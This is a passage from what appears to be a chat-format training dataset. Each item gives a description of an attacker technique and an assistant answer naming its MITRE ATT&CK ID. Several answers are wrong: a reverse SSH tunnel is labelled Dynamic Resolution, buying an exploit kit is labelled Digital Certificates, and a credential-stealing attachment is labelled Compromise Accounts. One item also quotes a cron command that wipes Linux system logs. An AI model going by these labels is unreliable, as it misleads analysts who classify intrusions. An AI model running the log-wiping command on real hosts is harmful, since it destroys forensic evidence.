            },
            {
                "role": "user",
                "content": "Using the Mavinject system binary proxy execution technique, the threat actor loads a DLL into lsass.exe to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates COM registration keys to hijack legitimate COM objects, enabling inter‑process messaging for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts network interface details by reading the /etc/network/interfaces file on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor concealed a command‑and‑control beacon inside a JPEG image using steganographic techniques before sending it to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged WMI to retrieve the path of the local email database and then read its contents."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a malicious DLL by creating a subkey under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<target.exe>\\Debugger and pointing it to their code."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds a fraudulent root certificate to the macOS keychain, allowing it to sign and trust malicious code signatures."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding an unquoted file path to the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key, the adversary ensures their payload runs before the intended executable during system startup."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious binary queries a cloud storage bucket (e.g., AWS S3) for configuration files and commands."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool uses SMTP over TLS to hide C2 traffic, tunneling its commands inside email messages to blend with normal email flow."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs \"Obfuscated Windows Management Instrumentation (WMI) queries\" to hide its presence from standard monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a remote PowerShell session over WinRM to control the target environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a script to change the name of 'services.exe' to 'msedge.exe' to evade endpoint monitoring."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sets up a reverse SSH tunnel to bypass firewalls and maintain persistent command access."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor installs a Java-based web shell on the target's Tomcat server to maintain command and control capabilities."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates an attacker by extracting domain registration details via WHOIS searches to map the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor connects to the corporate Exchange server via MAPI over HTTP and extracts mail messages from the target mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT captures credentials and uses the device's SSH CLI to dump the running configuration and embed a web shell."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber adversaries exploit a compromised Instagram account to send direct messages with links to a malicious installer disguised as a game update."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used PowerShell to gather logs and save them to C:\\Users\\Public\\staged_data for later exfil."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leverages the Task Scheduler API to launch ransomware at a specific date and time."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers send a malicious attachment that, when opened, extracts saved email credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan includes code that derives domain names from the MAC address of the infected host, producing unique domains that the attacker must resolve."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used Windows Remote Management to remotely import a malicious PowerShell module and execute it with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script enumerates user accounts lacking pre‑authentication and repeatedly issues AS‑REQs, capturing the AS‑REP payloads for offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages open-source intelligence to extract the GPS coordinates of the target's remote office from conference speaker bios."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool repurposes an existing SMB session to inject commands, effectively hijacking the remote service session to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into the system's BIOS allowing persistence even after OS reinstallation."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor hijacks a victim’s Office 365 tenant and uses the Outlook Web Access remote login feature to maintain command and control."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential dumping, the adversary gains access to the internal web dashboard and changes its content to a defaced notice."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries upload a malicious X.509 certificate to the OS certificate store to facilitate stealthy communication with their C2 server."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Distributed Component Object Model service to start processes on a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects a backdoor into a serverless function on Oracle Cloud Functions, achieving stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members queried the WHOIS database and certificate transparency feeds to compile a list of the target's certificates."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the macOS Keychain to retrieve stored passwords and then uploads them to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces a trusted binary with a malicious version that is signed with a stolen Apple developer certificate, subverting Gatekeeper's trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware established a covert channel by encapsulating its C2 traffic inside HTTPS requests to blend in with legitimate web traffic."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a stream of malformed TLS handshake messages, causing the endpoint's TLS stack to crash."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured IAM role to terminate a virtual machine in Oracle Cloud Infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker obtains a zero‑day exploit kit from underground markets."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited the server's FTP service to upload a backdoor binary that runs as a system service."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group deployed a reverse proxy on a public cloud service to relay C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program disables the Windows Security Center service to prevent alerts about the compromised state of the system."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the default handler for .svg files to point to a malicious rendering engine, resulting in execution every time an SVG is displayed."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors executed a command through mshta.exe by passing a crafted command line that loads an external script."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts a coordinated flood of HTTP GET requests to the victim’s API endpoint, leading to resource exhaustion."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By executing 'launchctl unload' on a legitimate service, the malicious actor disables security tools before planting their payload."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor acquires a custom RAT by extracting it from a malicious macro document to broaden their surveillance abilities."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uploads a fraudulent root CA to the Linux /etc/ssl/certs directory, making the system trust the attacker's TLS certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a forged shared library that mimics a legitimate one, causing the dynamic linker to load the malicious code during the linking process."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider placed a malicious XSL script in a shared network folder, which was automatically processed by a Windows service, leading to code execution."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a compromised push notification service to approve MFA requests without the user’s knowledge."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Windows Registry key \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Tcpip\\\\Parameters\" to retrieve connection information."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script executed via /bin/bash reads environment variables, gathers SSH keys, and uploads them using `scp` to a remote attacker server."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised third‑party app, the attacker retrieved OAuth tokens for users' TikTok accounts and posted spam content."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation was achieved by splitting the malicious script into multiple parts and reassembling them at runtime using concatenation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing overly permissive ACLs on service registry entries, the intruder replaces the ImagePath of a system service with a payload, hijacking execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs \"systeminfo\" and parses the driver sections to enumerate installed drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deployed a Python payload through a compromised Docker container to gain host access."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign leveraged a stripped payload that removed all extraneous data, making reverse engineering substantially harder."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After establishing persistence, the adversary scheduled a cron job that runs \"> /var/log/kern.log && > /var/log/messages\" daily to continuously wipe system logs on the Linux host."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor disables the logging of command execution in macOS by altering the .zsh_history file permissions."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion replaces the Kerberos keytab entries with encrypted keys that can be decrypted by the attacker to forge authentication tickets."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised automation service used the Graph API to silently add the attacker's account as an additional email delegate on the victim's mailbox."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor altered the service registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\<ServiceName> to point to a malicious executable after loosening its file permissions."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies /System/Library/LaunchAgents/com.apple.systemuiserver.plist to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors rent server space from cheap hosting providers to host malicious advertisement content that redirects victims to credential‑stealing sites."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code enumerates kernel-mode drivers using the EnumDeviceDrivers function."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a malicious attachment that, when opened, launches a Python script to encrypt files."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the displayed name of a malicious JAR file by inserting a right‑to‑left override character, obscuring the true nature of the file from security tools."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits vulnerabilities in the UEFI secure boot process to install a bootkit that runs before the OS loads, bypassing detection."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses PowerShell cmdlets to query Azure Resource Manager for all resource groups."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the system's hardware inventory via WMI to discover connected peripherals such as printers and scanners."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service runs under SYSTEM and the attacker writes a DLL to be loaded by that service, achieving privilege escalation and bypassing UAC entirely."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups have been observed leveraging mmc.exe to execute PowerShell payloads via a malicious .msc payload."
